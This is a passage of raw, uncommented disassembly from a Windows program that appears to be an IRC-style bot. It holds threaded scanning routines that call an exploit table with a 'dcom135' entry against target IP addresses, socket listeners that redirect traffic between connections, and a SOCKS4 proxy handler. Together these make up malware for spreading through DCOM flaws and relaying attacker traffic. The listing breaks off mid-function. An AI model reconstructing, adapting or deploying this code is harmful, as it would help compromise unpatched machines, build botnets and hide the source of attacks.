		call	sub_4172AE
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_444EC0[ebx]
		push	eax
		call	sub_4172AE
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_43D7E8
		call	ds:dword_4240C8	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]

loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h

loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_43D7E8
		call	ds:dword_4240C4	; RtlLeaveCriticalSection
		jmp	loc_407960
; ---------------------------------------------------------------------------

loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]

loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		call	ds:dword_424064	; Sleep
		jmp	loc_4077AE
; ---------------------------------------------------------------------------

loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417076
		pop	ecx
		push	0
		call	ds:dword_424054	; ExitThread
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3300o
					; sub_40EE72+5135o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_43C848[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA2
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_43D7E8
		push	esi
		call	ds:dword_4240D0	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4240CC	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172AE
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_424064
		mov	edi, ebx
		mov	ds:dword_43C84C[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A

loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5A
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_407AE5

loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------

loc_407AE5:				; CODE XREF: sub_40797F+159j
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B

loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep

loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_43C848[eax*8]
		push	eax
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172AE
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	ds:dword_43C84C[eax*8],	ebx
		call	esi	; Sleep
		push	8
		call	sub_416FA2
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_43D7E8
		call	ds:dword_4240D0	; RtlDeleteCriticalSection

loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_43C84C[eax*8],	1
		jnz	loc_407B2F
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_43F668	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_43F6E8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_4450CC[eax], ebx
		call	ds:dword_43F584	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43F694	; bind
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	ds:dword_43F690	; listen
		test	eax, eax
		jnz	loc_407D42

loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_43F6FC	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172AE
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407D66
		push	esi
		push	esi
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_407D2D

loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------

loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------

loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]

loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	ds:dword_43F700	; closesocket
		push	ebx
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_3C]
		call	sub_417076
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D66	proc near		; DATA XREF: sub_407BDE+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_43F6E8	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	ds:dword_43F668	; htons
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_43F6A8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_43F6EC	; gethostbyname
		jmp	short loc_407E04
; ---------------------------------------------------------------------------

loc_407DF6:				; CODE XREF: sub_407D66+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43F620	; gethostbyaddr

loc_407E04:				; CODE XREF: sub_407D66+8Ej
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_42B62C
		push	eax
		call	sub_4172AE
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_416D5A
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_4450CC[ebx]
		mov	ds:dword_4450C4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_4450D0[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	offset sub_407F4D
		push	edi
		push	edi
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_407F09

loc_407EB6:				; CODE XREF: sub_407D66+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_407EC5
		push	32h
		call	ds:dword_424064	; Sleep
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------

loc_407EC5:				; CODE XREF: sub_407D66+153j
		mov	ebx, 1000h

loc_407ECA:				; CODE XREF: sub_407D66+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F680	; recv
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------

loc_407F09:				; CODE XREF: sub_407D66+14Ej
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_407F1C:				; CODE XREF: sub_407D66+44j
					; sub_407D66+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	ds:dword_4450CC[eax]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_4]
		call	sub_417076
		pop	ecx
		push	edi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407D66	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F4D	proc near		; DATA XREF: sub_407D66+130o

var_1128	= byte ptr -1128h
var_128		= byte ptr -128h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_128]
		rep movsd
		mov	esi, [ebp+var_14]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407F84:				; CODE XREF: sub_407F4D+7Cj
		push	edi
		lea	eax, [ebp+var_1128]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_1128]
		push	0
		push	edi
		push	eax
		push	ds:dword_4450D0[esi]
		call	ds:dword_43F680	; recv
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp+var_1128]
		push	eax
		push	ds:dword_4450CC[esi]
		call	ds:dword_43F6B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84

loc_407FCB:				; CODE XREF: sub_407F4D+61j
		push	ds:dword_4450D0[esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_14]
		call	sub_417076
		pop	ecx
		push	0
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
sub_407F4D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E4Fo

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	ds:dword_43F668	; htons
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	ds:dword_43F6E8	; socket
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_4450CC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	ds:dword_43F694	; bind
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	ds:dword_43F690	; listen
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_43F6FC	; accept
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	ds:dword_43F6F4	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5A
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_4450C4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_4081EF
		push	esi
		push	esi
		call	ds:dword_4240A0	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4450D4[ecx], eax
		jz	short loc_40816C

loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		call	ds:dword_424064	; Sleep
		jmp	short loc_408159
; ---------------------------------------------------------------------------

loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		call	ds:dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------

loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	ds:dword_43F700	; closesocket
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_424054	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081EF	proc near		; DATA XREF: sub_407FEA+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4450CC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	ds:dword_43F650	; select
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_408270:				; CODE XREF: sub_4081EF+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F680	; recv
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_4082A1:				; CODE XREF: sub_4081EF+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F6B8	; send
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_408337:				; CODE XREF: sub_4081EF+CFj
					; sub_4081EF+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	ds:dword_43F6E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F6B8	; send
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_4083CF:				; CODE XREF: sub_4081EF+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	ds:dword_43F610	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	ds:dword_43F5FC	; WSAGetLastError
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F6B8	; send
		push	dword ptr [esi]
		call	ds:dword_43F700	; closesocket
		push	[ebp+arg_0]
		call	sub_417076
		pop	ecx
		push	ebx
		call	ds:dword_424054	; ExitThread

loc_40843E:				; CODE XREF: sub_4081EF+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43F6B8	; send
		push	dword ptr [esi]
		push	edi
